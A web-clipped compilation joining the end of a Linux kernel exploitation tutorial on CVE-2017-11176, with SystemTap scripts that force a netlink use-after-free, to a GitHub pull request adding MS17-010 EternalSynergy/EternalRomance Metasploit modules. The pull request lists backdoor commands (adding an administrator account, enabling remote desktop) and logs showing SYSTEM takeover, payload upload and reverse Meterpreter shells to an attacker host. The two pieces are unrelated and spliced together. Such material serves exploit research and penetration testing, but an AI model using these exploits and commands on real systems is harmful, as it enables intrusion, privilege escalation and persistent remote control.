    -={ dump_netlink_sock: END}=-
    
    (19681-19681) [netlink] <<== netlink_attachskb = 0
    (19681-19681) [vfs] ==>> fget (fd=0xffffffff)
    (19681-19681) [vfs] <<== fget = 0
    (19681-19681) [netlink] ==>> netlink_detachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0)
    (19681-19681) [netlink] <<== netlink_detachskb
    (19681-19681) [SYSCALL] <<== mq_notify= -9
    
[/code]

The embedded stap function **dump\_netlink\_sock\(\)** is correctly called
before entering _netlink\_attachskb\(\)_. As we can see, the first bit of
_state_ is not set, and _sk\_rmem\_alloc_ is lesser than _sk\_rcvbuf_... so we
don't pass the check.

Let's modify _nlk- >state_ **before** calling _netlink\_attachskb\(\)_ :

[code]

        function dump_netlink_sock:long (arg_sock:long)
        %{
          struct sock *sk = (void*) STAP_ARG_arg_sock;
          struct netlink_sock *nlk = (void*) sk;
    
          _stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);
          _stp_printf("- sk = %p\n", sk);
          _stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);
          _stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);
          _stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);
    
          _stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
          nlk->state |= 1;                                                  // <-----
          _stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));
    
          _stp_printf("-={ dump_netlink_sock: END}=-\n");
        %}
    
[/code]

And run it:

[code]

    -={ CVE-2017-11176 Exploit }=-
    netlink socket created = 3
    
    <<< HIT CTRL-C HERE >>>
    
    ^Cmake: *** [check] Interrupt
    
    
    (20002-20002) [SYSCALL] ==>> mq_notify (-1, 0x7ffc48bed2c0)
    (20002-20002) [uland] ==>> copy_from_user ()
    (20002-20002) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
    (20002-20002) [uland] ==>> copy_from_user ()
    (20002-20002) [skb] ==>> skb_put (skb=0xffff88003d3a6080 len=0x20)
    (20002-20002) [skb] <<== skb_put = ffff88002e142600
    (20002-20002) [vfs] ==>> fget (fd=0x3)
    (20002-20002) [vfs] <<== fget = ffff88003ddd8380
    (20002-20002) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003ddd8380)
    (20002-20002) [netlink] <<== netlink_getsockbyfilp = ffff88003dde0400
    (20002-20002) [netlink] ==>> netlink_attachskb (sk=0xffff88003dde0400 skb=0xffff88003d3a6080 timeo=0xffff88002e233f40 ssk=0x0)
    
    -={ dump_netlink_sock: 0xffff88003dde0400 }=-
    - sk = 0xffff88003dde0400
    - sk->sk_rmem_alloc = 0
    - sk->sk_rcvbuf = 133120
    - sk->sk_refcnt = 2
    - (before) nlk->state = 0
    - (after)  nlk->state = 1
    -={ dump_netlink_sock: END}=-
    
    <<< HIT CTRL-C HERE >>>
    
    (20002-20002) [netlink] <<== netlink_attachskb = fffffffffffffe00   // <-----
    (20002-20002) [SYSCALL] <<== mq_notify= -512
    
[/code]

Woops\! The call to _mq\_notify\(\)_ became **blocking** \(i.e. the main
exploit thread is stuck in kernel-land, inside the syscall\). Fortunately, we
can get the control back with _CTRL-C_.

Note that this time, **netlink\_attachskb\(\)** returned
**0xfffffffffffffe00** , that is "-ERESTARTSYS" errno. In other words, we got
into that path:

[code]

            if (signal_pending(current)) {
                kfree_skb(skb);
                return sock_intr_errno(*timeo); // <---- return -ERESTARTSYS
            }
    
[/code]

It means that we actually reached the other path of _netlink\_attachskb\(\)_ ,
mission succeed\!

## Avoid being blocked

The reason why _mq\_notify\(\)_ blocked is:

[code]

            __set_current_state(TASK_INTERRUPTIBLE);
    
            if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
                !sock_flag(sk, SOCK_DEAD))
                *timeo = schedule_timeout(*timeo);
    
            __set_current_state(TASK_RUNNING);
    
[/code]

We will get in deeper details with _scheduling_ later \(cf. part 2\) but for
now just consider that our task is **stopped** until a _special condition_ is
met \(it's all about wait queue\).

Maybe we could avoid being scheduled/blocked? In order to do so, we need to
by-pass the call to **schedule\_timeout\(\)**. Let's mark the sock as
"SOCK\_DEAD" \(the last part of the condition\). That is, change the "sk"
content \(just like we did before\), to make the following function
**sock\_flag\(\)** return true:

[code]

        // from [include/net/sock.h]
        static inline bool sock_flag(const struct sock *sk, enum sock_flags flag)
        {
          return test_bit(flag, &sk->sk_flags);
        }
    
        enum sock_flags {
          SOCK_DEAD,      // <---- this has to be '0', but we can check it with stap!
          ... cut ...
        }
    
[/code]

Let's edit the probe again:

[code]

      // mark it congested!
      _stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));
      nlk->state |= 1;            
      _stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));
    
      // mark it DEAD
      _stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);
      _stp_printf("- SOCK_DEAD = %x\n", SOCK_DEAD);
      sk->sk_flags |= (1 << SOCK_DEAD);
      _stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);
    
[/code]

Relaunch annnnnnnnd.........boom\! Our exploit main thread is now stuck in an
infinite loop inside the kernel. The reason is:

  * it enters _netlink\_attachskb\(\)_ and takes the retry path \(we forced it\)
  * the thread is not scheduled \(we by-passed it\)
  * _netlink\_attachskb\(\)_ returns 1
  * back to _mq\_notify\(\)_ , it hit the "goto retry" statement
  *  _fget\(\)_ returns a non-null value...
  * ...as _netlink\_getsockbyfilp\(\)_ does
  * we enter _netlink\_attachskb\(\)_ again...
  * ...again and again...

So, we effectively by-passed the call to _schedule\_timeout\(\)_ that made us
blocked, but we created an infinite loop while doing it.

## Stopping the infinite loop

Let's continue the hack so _fget\(\)_ will fail on the second call\! One way
to do this, is to basically remove our file descriptor directly from the FDT
\(i.e. set it to NULL\):

[code]

        %{
        #include <linux/fdtable.h>
        %}
    
        function remove_fd3_from_fdt:long (arg_unused:long)
        %{
            _stp_printf("!!>>> REMOVING FD=3 FROM FDT <<<!!\n");
            struct files_struct *files = current->files;
            struct fdtable *fdt = files_fdtable(files);
            fdt->fd[3] = NULL;
        %}
    
        probe kernel.function ("netlink_attachskb")
        {
          if (execname() == "exploit")
          {
            printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)
    
            dump_netlink_sock($sk); // it also marks the socket as DEAD and CONGESTED
            remove_fd3_from_fdt(0);
          }
        }
    
[/code]

[code]

    -={ CVE-2017-11176 Exploit }=-
    netlink socket created = 3
    mq_notify: Bad file descriptor
    exploit failed!
    
    (3095-3095) [SYSCALL] ==>> mq_notify (-1, 0x7ffe5e528760)
    (3095-3095) [uland] ==>> copy_from_user ()
    (3095-3095) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
    (3095-3095) [uland] ==>> copy_from_user ()
    (3095-3095) [skb] ==>> skb_put (skb=0xffff88003f02cd00 len=0x20)
    (3095-3095) [skb] <<== skb_put = ffff88003144ac00
    (3095-3095) [vfs] ==>> fget (fd=0x3)
    (3095-3095) [vfs] <<== fget = ffff880031475480
    (3095-3095) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff880031475480)
    (3095-3095) [netlink] <<== netlink_getsockbyfilp = ffff88003cf56800
    (3095-3095) [netlink] ==>> netlink_attachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00 timeo=0xffff88002d79ff40 ssk=0x0)
    -={ dump_netlink_sock: 0xffff88003cf56800 }=-
    - sk = 0xffff88003cf56800
    - sk->sk_rmem_alloc = 0
    - sk->sk_rcvbuf = 133120
    - sk->sk_refcnt = 2
    - (before) nlk->state = 0
    - (after) nlk->state = 1
    - sk->sk_flags = 100
    - SOCK_DEAD = 0
    - sk->sk_flags = 101
    -={ dump_netlink_sock: END}=-
    !!>>> REMOVING FD=3 FROM FDT <<<!!
    (3095-3095) [netlink] <<== netlink_attachskb = 1        // <-----
    (3095-3095) [vfs] ==>> fget (fd=0x3)
    (3095-3095) [vfs] <<== fget = 0                         // <-----
    (3095-3095) [netlink] ==>> netlink_detachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00)
    (3095-3095) [netlink] <<== netlink_detachskb
    (3095-3095) [SYSCALL] <<== mq_notify= -9
    
[/code]

Very nice, the kernel goes out of the infinite loop we introduced. In
addition, we are getting closer and closer to our attack scenario:

  1. _netlink\_attachskb\(\)_ returned 1
  2. the second _fget\(\)_ call returned NULL

So... Did we trigger the bug?

## Checking the refcounter status

Since everything went according to our plan, the bug should be triggered and
the _sock_ refcounter should be decreased twice. Let's check it.

During _exit probe_ , it is not possible to retrieve the parameters of the
_enter probe_. It means that we can't check the content of _sock_ while
returning from _netlink\_attachskb\(\)_.

One way to do this is to store the _sock_ pointer returned by
_netlink\_getsockbyfilp\(\)_ in a global variable \(_sock\_ptr_ in the
script\). Then dump its content using our embedded "C" code with
_dump\_netlink\_sock\(\)_ :

[code]

        global sock_ptr = 0;                  // <------ declared globally!
    
        probe syscall.mq_notify.return
        {
          if (execname() == "exploit")
          {
            if (sock_ptr != 0)                // <----- watch your NULL-deref, this is kernel-land!
            {
              dump_netlink_sock(sock_ptr);
              sock_ptr = 0;
            }
    
            printf("(%d-%d) [SYSCALL] <<== mq_notify= %d\n\n", pid(), tid(), $return)
          }
        }
    
        probe kernel.function ("netlink_getsockbyfilp").return
        {
          if (execname() == "exploit")
          {
            printf("(%d-%d) [netlink] <<== netlink_getsockbyfilp = %x\n", pid(), tid(), $return)
            sock_ptr = $return;                 // <----- store it
          }
        }
    
[/code]

Run it again\!

[code]

    (3391-3391) [SYSCALL] ==>> mq_notify (-1, 0x7ffe8f78c840)
    (3391-3391) [uland] ==>> copy_from_user ()
    (3391-3391) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
    (3391-3391) [uland] ==>> copy_from_user ()
    (3391-3391) [skb] ==>> skb_put (skb=0xffff88003d20cd00 len=0x20)
    (3391-3391) [skb] <<== skb_put = ffff88003df9dc00
    (3391-3391) [vfs] ==>> fget (fd=0x3)
    (3391-3391) [vfs] <<== fget = ffff88003d84ed80
    (3391-3391) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d84ed80)
    (3391-3391) [netlink] <<== netlink_getsockbyfilp = ffff88002d72d800
    (3391-3391) [netlink] ==>> netlink_attachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00 timeo=0xffff8800317a7f40 ssk=0x0)
    -={ dump_netlink_sock: 0xffff88002d72d800 }=-
    - sk = 0xffff88002d72d800
    - sk->sk_rmem_alloc = 0
    - sk->sk_rcvbuf = 133120
    - sk->sk_refcnt = 2               // <------------
    - (before) nlk->state = 0
    - (after) nlk->state = 1
    - sk->sk_flags = 100
    - SOCK_DEAD = 0
    - sk->sk_flags = 101
    -={ dump_netlink_sock: END}=-
    !!>>> REMOVING FD=3 FROM FDT <<<!!
    (3391-3391) [netlink] <<== netlink_attachskb = 1
    (3391-3391) [vfs] ==>> fget (fd=0x3)
    (3391-3391) [vfs] <<== fget = 0
    (3391-3391) [netlink] ==>> netlink_detachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00)
    (3391-3391) [netlink] <<== netlink_detachskb
    -={ dump_netlink_sock: 0xffff88002d72d800 }=-
    - sk = 0xffff88002d72d800
    - sk->sk_rmem_alloc = 0
    - sk->sk_rcvbuf = 133120
    - sk->sk_refcnt = 0               // <-------------
    - (before) nlk->state = 1
    - (after) nlk->state = 1
    - sk->sk_flags = 101
    - SOCK_DEAD = 0
    - sk->sk_flags = 101
    -={ dump_netlink_sock: END}=-
    (3391-3391) [SYSCALL] <<== mq_notify= -9
    
[/code]

As we can see, the _sk- >sk\_refcnt_ has been decreased twice\! We
successfully triggered the bug.

Because the _sock_ 's refcounter reaches zero, it means the _struct
netlink\_sock_ object will be free. Let's add some other probes:

[code]

    ... cut ...
    
    (13560-13560) [netlink] <<== netlink_attachskb = 1
    (13560-13560) [vfs] ==>> fget (fd=0x3)
    (13560-13560) [vfs] <<== fget = 0
    (13560-13560) [netlink] ==>> netlink_detachskb (sk=0xffff88002d7e5c00 skb=0xffff88003d2c1440)
    (13560-13560) [kmem] ==>> kfree (objp=0xffff880033fd0000)
    (13560-13560) [kmem] <<== kfree = 
    (13560-13560) [sk] ==>> sk_free (sk=0xffff88002d7e5c00)
    (13560-13560) [sk] ==>> __sk_free (sk=0xffff88002d7e5c00)
    (13560-13560) [kmem] ==>> kfree (objp=0xffff88002d7e5c00) // <---- freeing "sock"
    (13560-13560) [kmem] <<== kfree = 
    (13560-13560) [sk] <<== __sk_free = 
    (13560-13560) [sk] <<== sk_free = 
    (13560-13560) [netlink] <<== netlink_detachskb
    
[/code]

The sock object is freed but we don't see any _use-after-free_...

## Why it did not crash?

Unlike our original plan, the _netlink\_sock_ object is freed by
_netlink\_detachskb\(\)_. The reason is **we don't call _close\(\)_** \(we
only reset the FDT entry to NULL\). That is, the file object is actually not
released and so, it does not drop its reference of the _netlink\_sock_ object.
In other words, we are missing a reference counter decrease.

It's all right, what we wanted to validate here was that the refcounter was
decreased twice \(one by _netlink\_attachskb\(\)_ and one by
_netlink\_detachskb\(\)_\), which is the case.

In the normal course of operation \(i.e. we call _close\(\)_\), this
additional refcounter decrease will occur and _netlink\_detachskb\(\)_ will do
a UAF. We will even "delay" this use-after-free to a later moment to get a
better control \(cf. part 2\).

## The final System Tap script

In the end, the whole system tap script that triggers the bug from kernel-land
can be simplified into this:

[code]

    # mq_notify_force_crash.stp
    #
    # Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)
    
    %{
    #include <net/sock.h>
    #include <net/netlink_sock.h>
    #include <linux/fdtable.h>
    %}
    
    function force_trigger:long (arg_sock:long)
    %{
      struct sock *sk = (void*) STAP_ARG_arg_sock;
      sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread
    
      struct netlink_sock *nlk = (void*) sk;
      nlk->state |= 1;   // enter the netlink_attachskb() retry path    
    
      struct files_struct *files = current->files;
      struct fdtable *fdt = files_fdtable(files);
      fdt->fd[3] = NULL; // makes the second call to fget() fails
    %}
    
    probe kernel.function ("netlink_attachskb")
    {
      if (execname() == "exploit")
      {
        force_trigger($sk);
      }
    }
    
[/code]

Simple, isn't it?

# Conclusion

In this first article, the core kernel data structure, as well as, the
refcounting facility has been introduced to the Linux Kernel newcomer. While
studying public information \(CVE description, patch\), we got a better
understanding of the bug and designed an attack scenario.

Then, we started developing the exploit and validated that the bug is actually
reachable from an unprivileged user. Doing so, we introduced a great kernel
tool: System Tap. We also encountered our first bug \(library wrappers\) and
showed how to detect it.

With the help of System Tap's Guru Mode, we finally "forced" the trigger from
the kernel-land and validated that we can reliably produce a double
_sock\_put\(\)_ bug. It exposed that three things were necessary to trigger
the bug:

  1. Force _netlink\_attachskb\(\)_ to return 1
  2. Unblock the exploit thread
  3. Force the second _fget\(\)_ call to return NULL

In the next article, we will replace, one-by-one, each kernel modification
introduced with System Tap. In fact, we will gradually build a proof-of-
concept code that triggers the bug using userland code only.

We hope you enjoyed the journey in kernel land exploitation and see you soon
in part 2\!

# MS17-010 EternalSynergy / EternalRomance / EternalChampion aux+exploit
modules by zerosum0x0 · Pull Request \#9473 · rapid7/metasploit-framework

**Created:**| _3/7/2018 8:39:11 AM_  
---|---  
**Updated:**| _3/7/2018 8:39:11 AM_  
**Author:**| _wishi_  
**Tags:**| _active directory smb_  
  

  

#  MS17-010 EternalSynergy / EternalRomance / EternalChampion aux+exploit
modules \#9473

Merged

wvu-r7  merged 31 commits into rapid7:master from RiskSense-Ops:eternalsynergy
on 2 Feb

## Conversation

Assignees

<img src='img/6690_4551878.jpg' width='20' height='20' alt='@wvu-r7' /> wvu-r7

Projects

None yet

Milestone

No milestone

Notifications

You’re not receiving notifications from this thread.

16 participants

Contributor

###  **zerosum0x0 ** commented on 29 Jan •

**MS17-010** Windows SMB Remote Command and Code Execution modules for all
vulnerable targets **Windows 2000 through 2016** \(and of course the standard
home/workstation counterparts\).

  * auxiliary/admin/smb/ms17\_010\_command \(run a command\)
  * exploit/windows/smb/ms17\_010\_psexec \(stage a payload, i.e. meterpreter\)

Screenshots: https://twitter.com/zerosum0x0/status/957839430777057280 You can
run any command as SYSTEM, or stage Meterpreter. Note: unlike EternalBlue,
kernel shellcode is not used to stage Meterpreter, so you might have to evade
your payloads. This module is **highly reliable and preferred over
EternalBlue** where a Named Pipe is accessible for anonymous logins
\(generally, everything pre-Vista, and relatively common for domain computers
in the wild\).

  * CVE-2017-0146 \(EternalChampion/EternalSynergy\) - exploit a race condition with Transaction requests
  * CVE-2017-0143 \(EternalRomance/EternalSynergy\) - exploit a type confusion between WriteAndX and Transaction requests

The exploit chain is an almost 1:1 skid port of @worawit awesome zzz\_exploit
adaptation, which brings a few improvements over the original Eternal
exploits. Instead of going for shellcode execution, it overwrites the SMB
connection session structures to gain Admin/SYSTEM session. The MSF module is
leaner \(stripped down packet count/padding\), checks extra named pipes,
sprinkles randomness where possible, and has Metasploit's psexec DCERPC
implementation bolted onto it. For the last reason, Rex is used and not
RubySMB.

## Changes to MSF Lib

The exploit needs a smaller SMB Max Buffer Size than the hard-coded values in
the Rex SMB proto client libraries. I exposed this as a public member that
defaults to the old value. Existing code should not be broken. Most of the
exploit code is in a new mix-in \(to be shared for the aux and exploit\).

## Disclaimer

This software has been created purely for the purposes of academic research
and for the development of effective defensive techniques, and is not intended
to be used to attack systems except where explicitly authorized. Authors and
project maintainers are not responsible or liable for misuse of the software.
Use responsibly.

## AV/Firewall Warning

Unlike EternalBlue, the exploit module will drop to disk \(or use a PowerShell
command\). Standard rules apply when it comes to AV/firewall for the exploit
module. The command module should work fine though, try some of the following:

  * net user xyz pw123 /add
  * net localgroup Administrators xyz /add
  * reg add "HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG\_DWORD /d 0 /f
  * tasklist /v \(useful huge output when popping mass scans\)
  * stage Empire, Koadic, etc.
  * RTFM

## Test Progress

Should work on **all** unpatched versions of Windows 2000+ x86/x64.

  * Windows 2000 SP0 x86
  * Windows 2000 Professional SP4 x86
  * Windows 2000 Advanced Server SP4 x86
  * Windows XP SP0 x86
  * Windows XP SP1 x86
  * Windows XP SP2 x86
  * Windows XP SP3 x86
  * Windows XP SP2 x64
  * Windows Server 2003 SP0 x86
  * Windows Server 2003 SP1 x86
  * Windows Server 2003 Enterprise SP 2 x86
  * Windows Server 2003 SP1 x64
  * Windows Server 2003 R2 SP1 x86
  * Windows Server 2003 R2 SP2 x86
  * Windows Vista Home Premium x86
  * Windows Vista x64
  * Windows Server 2008 SP1 x86
  * Windows Server 2008 x64
  * Windows 7 x86
  * Windows 7 Ultimate SP1 x86
  * Windows 7 Enterprise SP1 x86
  * Windows 7 SP0 x64
  * Windows 7 SP1 x64
  * Windows Server 2008 R2 x64
  * Windows Server 2008 R2 SP1 x64
  * Windows 8 x86
  * Windows 8 x64
  * Windows Server 2012 x64
  * Windows 8.1 Enterprise Evaluation 9600 x86
  * Windows 8.1 SP1 x86
  * Windows 8.1 x64
  * Windows 8.1 SP1 x64
  * Windows Server 2012 R2 x86
  * Windows Server 2012 R2 Standard 9600 x64
  * Windows Server 2012 R2 SP1 x64
  * Windows 10 Enterprise 10.10240 x86
  * Windows 10 Enterprise 10.10240 x64
  * Windows 10 10.10586 x86
  * Windows 10 10.10586 x64
  * Windows Server 2016 10.10586 x64
  * Windows 10 10.0.14393 x86
  * Windows 10 Enterprise Evaluation 10.14393 x64
  * Windows Server 2016 Data Center 10.14393 x64

Asking for help in testing thoroughly. Provide crash dumps and pcaps in case
of failure. Exploit should virtually never crash post-Vista, and only in
extremely rare circumstances for earlier versions. `set VERBOSE 1`  
`set DBGTRACE 1`

## Todo

Not necessarily for this PR, but some ideas for improvements.

  * MS17-010 auxiliary scanner functionality should be in a mix-in \(to use for check\(\)\).
  * MS17-010 scanner should try named pipes on vulnerable targets.
  * Add 2000-2016 targets to EternalBlue module, it's still the best when named pipe isn't available.
  * Documentation

## Verification

List the steps needed to make sure this thing works

  * Start `msfconsole`
  * `use exploit/windows/smb/ms17_010_psexec`
  * `use auxiliary/admin/smb/ms17_010_command`
  * `set VERBOSE 1`
  * `set DBGTRACE 1`
  * **Document** the thing and how it works \(Example\)

  
---  
Contributor

###  **bcoles ** commented on 29 Jan

YUS\!  
---  
Contributor

###  **wvu-r7 ** commented on 29 Jan

Hello again. :-\)  
---  
###  <img src='img/3971576.jpg' width='16' height='16' alt='@zerosum0x0' />
zerosum0x0 changed the title from MS17-010 Eternalsynergy / EternalRomance /
EternalChampion aux+exploit modules to MS17-010 EternalSynergy /
EternalRomance / EternalChampion aux+exploit modules on 29 Jan

Contributor

###  **bcoles ** commented on 29 Jan

**Success** on Windows XP SP3 \(x86\) with Automatic targeting
\(unauthenticated\).

[code]

    msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 172.16.191.135
    rhost => 172.16.191.135
    msf5 exploit(windows/smb/ms17_010_psexec) > run
    
    [*] Started reverse TCP handler on 172.16.191.244:4444 
    [*] 172.16.191.135:445 - Target OS: Windows 5.1
    [-] 172.16.191.135:445 - Inaccessible named pipe: netlogon - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 172.16.191.135:445 - Inaccessible named pipe: lsarpc - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [-] 172.16.191.135:445 - Inaccessible named pipe: samr - The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
    [*] 172.16.191.135:445 - Connected to named pipe: browser
    [*] 172.16.191.135:445 - Filling barrel with fish... done
    [*] 172.16.191.135:445 - <---------------- | Entering Danger Zone | ---------------->
    [*] 172.16.191.135:445 - 	[*] Preparing dynamite...
    [*] 172.16.191.135:445 - Attempt controlling next transaction on x86
    [*] 172.16.191.135:445 - 		[*] Trying stick 1 (x86)...Boom!
    [*] 172.16.191.135:445 - 	[+] Successfully Leaked Transaction!
    [*] 172.16.191.135:445 - 	[+] Successfully caught Fish-in-a-barrel
    [*] 172.16.191.135:445 - <---------------- | Leaving Danger Zone | ---------------->
    [*] 172.16.191.135:445 - Reading from CONNECTION struct at: 0x89a96da8
    [*] 172.16.191.135:445 - Built a write-what-where primitive...
    [*] 172.16.191.135:445 - Overwrote IsNullSession = 0, IsAdmin = 1 at 0xe1ce5824
    [*] 172.16.191.135:445 - Found TOKEN addr: 0x3794415664
    [*] 172.16.191.135:445 - UserAndGroupCount: 0x3
    [*] 172.16.191.135:445 - UserAndGroupsAddr: 0xe22a30d0
    [*] 172.16.191.135:445 - Overwriting token UserAndGroups...
    [+] 172.16.191.135:445 - Overwrite complete... SYSTEM session obtained!
    [*] 172.16.191.135:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
    [*] 172.16.191.135:445 - PowerShell not found
    [*] 172.16.191.135:445 - Selecting native target
    [*] 172.16.191.135:445 - Uploading payload...
    [*] 172.16.191.135:445 - Created \SmvXrQeV.exe...
    [*] 172.16.191.135:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.191.135[\svcctl] ...
    [*] 172.16.191.135:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.191.135[\svcctl] ...
    [*] 172.16.191.135:445 - Obtaining a service manager handle...
    [*] 172.16.191.135:445 - Creating the service...
    [+] 172.16.191.135:445 - Successfully created the service
    [*] 172.16.191.135:445 - Starting the service...
    [+] 172.16.191.135:445 - Service started successfully...
    [*] 172.16.191.135:445 - Removing the service...
    [+] 172.16.191.135:445 - Successfully removed the service
    [*] 172.16.191.135:445 - Closing service handle...
    [*] 172.16.191.135:445 - Deleting \SmvXrQeV.exe...
    [-] 172.16.191.135:445 - Rex::Proto::SMB::Exceptions::NoReply
    [-] 172.16.191.135:445 - The SMB server did not reply to our request
    [-] 172.16.191.135:445 - /pentest/exploit/metasploit-framework/lib/rex/proto/smb/client.rb:74:in `smb_recv'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:1036:in `do_smb_echo'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:169:in `write_what_where'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:68:in `eternal_cleanup'
    /pentest/exploit/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:115:in `exploit'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
    /pentest/exploit/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:548:in `run_command'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:510:in `block in run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `each'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:504:in `run_single'
    /pentest/exploit/metasploit-framework/lib/rex/ui/text/shell.rb:206:in `run'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
    /pentest/exploit/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    ./msfconsole:48:in `<main>'
    [*] Sending stage (179779 bytes) to 172.16.191.135
    [*] Meterpreter session 1 opened (172.16.191.244:4444 -> 172.16.191.135:2546) at 2018-01-29 05:20:10 -0500
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > sysinfo
    Computer        : WINXP
    OS              : Windows XP (Build 2600, Service Pack 3).
    Architecture    : x86
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x86/windows
    meterpreter > 
    
[/code]  
---  
Contributor

###  **bcoles ** commented on 29 Jan

**Success** on Windows Vista Home Premium \(x86\) with Automatic targeting
\(unauthenticated\).

[code]

    msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 172.16.191.154
    rhost => 172.16.191.154
    msf5 exploit(windows/smb/ms17_010_psexec) > run
    
    [*] Started reverse TCP handler on 172.16.191.244:4444 
    [*] 172.16.191.154:445 - Target OS: Windows Vista (TM) Home Premium 6000
    [*] 172.16.191.154:445 - Connected to named pipe: netlogon
    [*] 172.16.191.154:445 - Frag pool info leak: arch=x86, size=0x8
    [*] 172.16.191.154:445 - Filling barrel with fish... done
    [*] 172.16.191.154:445 - <---------------- | Entering Danger Zone | ---------------->
    [*] 172.16.191.154:445 - 	[*] Preparing dynamite...
    [*] 172.16.191.154:445 - Attempt controlling next transaction on x86
    [*] 172.16.191.154:445 - 		[*] Trying stick 1 (x86)...Boom!
    [*] 172.16.191.154:445 - 	[+] Successfully Leaked Transaction!
    [*] 172.16.191.154:445 - 	[+] Successfully caught Fish-in-a-barrel
    [*] 172.16.191.154:445 - <---------------- | Leaving Danger Zone | ---------------->
    [*] 172.16.191.154:445 - Reading from CONNECTION struct at: 0x9526f010
    [*] 172.16.191.154:445 - Built a write-what-where primitive...
    [*] 172.16.191.154:445 - Overwrote IsNullSession = 0, IsAdmin = 1 at 0x9e923aa6
    [*] 172.16.191.154:445 - Overwrote token SID security context with fake context
    [+] 172.16.191.154:445 - Overwrite complete... SYSTEM session obtained!
    [*] 172.16.191.154:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
    [*] 172.16.191.154:445 - PowerShell not found
    [*] 172.16.191.154:445 - Selecting native target
    [*] 172.16.191.154:445 - Uploading payload...
    [*] 172.16.191.154:445 - Created \BdutpgkV.exe...
    [*] 172.16.191.154:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.191.154[\svcctl] ...
    [*] 172.16.191.154:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.191.154[\svcctl] ...
    [*] 172.16.191.154:445 - Obtaining a service manager handle...
    [*] 172.16.191.154:445 - Creating the service...
    [+] 172.16.191.154:445 - Successfully created the service
    [*] 172.16.191.154:445 - Starting the service...
    [+] 172.16.191.154:445 - Service started successfully...
    [*] 172.16.191.154:445 - Removing the service...
    [+] 172.16.191.154:445 - Successfully removed the service
    [*] 172.16.191.154:445 - Closing service handle...
    [*] Sending stage (179779 bytes) to 172.16.191.154
    [*] 172.16.191.154:445 - Deleting \BdutpgkV.exe...
    [-] 172.16.191.154:445 - Rex::Proto::SMB::Exceptions::NoReply
    [-] 172.16.191.154:445 - The SMB server did not reply to our request
    [-] 172.16.191.154:445 - /pentest/exploit/metasploit-framework/lib/rex/proto/smb/client.rb:74:in `smb_recv'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:1036:in `do_smb_echo'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:169:in `write_what_where'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:73:in `eternal_cleanup'
    /pentest/exploit/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:115:in `exploit'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
    /pentest/exploit/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
    /pentest/exploit/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
